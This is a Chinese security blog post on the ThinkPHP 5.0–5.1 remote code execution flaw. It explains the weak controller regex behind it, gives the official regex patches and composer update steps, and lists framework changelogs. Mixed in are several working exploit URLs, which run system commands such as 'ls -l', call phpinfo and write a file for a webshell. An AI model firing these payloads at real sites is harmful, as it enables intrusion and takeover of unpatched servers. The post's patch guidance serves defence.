[漏洞]thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell及漏洞修复方案

来源:thinkphp5漏洞 浏览:4101次 时间:2020-03-13
做网站找雨过天晴工作室

[漏洞]thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell及漏洞修复方案



THINKPHP漏洞修复,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

安全漏洞更新方法:
1、使用composer或者git直接更新
2、在thinkphp/library/think/文件下找到App.php,

在这里插入图片描述

关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

一句话代码:
http://www.xxxx.com/?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
如果修复成功,那这段代码将不会执行,thinkphp5就会有错误提示:

在这里插入图片描述



漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。

在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。

我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:

通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php

关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.

thinkphp 最新版本5.0到5.1漏洞修复方案

针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,

if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }


ThinkPHP5.*版本发布安全更新补丁(另附:针对此漏洞的入侵检测GetShell工具 )


更新框架修复

如果你使用composer安装,并且一直保持最新版本使用的话,使用下面的指令更新到最新版本即可

composer update topthink/framework

如果你使用了git版本库安装,也请及时更新你所用的仓库版本。

如果各种原因暂时无法更新到最新版本(早期版本升级到最新版本可能存在兼容性问题,请首先参考官方手册的升级指导章节),可以参考下面的方式进行手动修正。

手动修复

5.0版本

在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); } 

5.1版本

在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); } 

V5.1.31主要更新日志

  • 改进field方法
  • 改进count方法返回类型
  • download函数增加在浏览器中显示文件功能
  • 修正多对多模型的中间表数据写入
  • 改进sqlsrv驱动支持多个Schemas模式查询
  • 统一助手函数与\think\response\Download函数文件过期时间
  • 完善关联模型的save方法 增加make方法仅创建对象不保存
  • 修改条件表达式对静态变量的支持
  • 修正控制器名获取
  • 改进view方法的field解析

V5.0.23主要更新日志

  • Query支持调用模型的查询范围
  • 聚合查询字段支持DISTINCT
  • 改进闭包验证的参数
  • 多对多关联支持指定中间表数据名称
  • after/before验证支持指定字段验证
  • 改进多对多关联
  • 改进验证类
  • 增加afterWith和beforeWith验证规则 用于比较日期字段
  • 完善规则提示
  • 改进断线重连
  • 修正软删除的destroy方法
  • 修复模型的save方法当data变量为空 数据不验证
  • 模型增加replace方法
  • MorphOne 增加 make 方法创建关联对象实例
  • 改进count方法返回值类型
  • 改进聚合查询方法的正则判断
  • 改进sqlsrv驱动
  • 完善关联的save方法
  • 修正控制器名获取

针对此漏洞的入侵检测GetShell工具

漏洞验证


命令执行


getshell

工具下载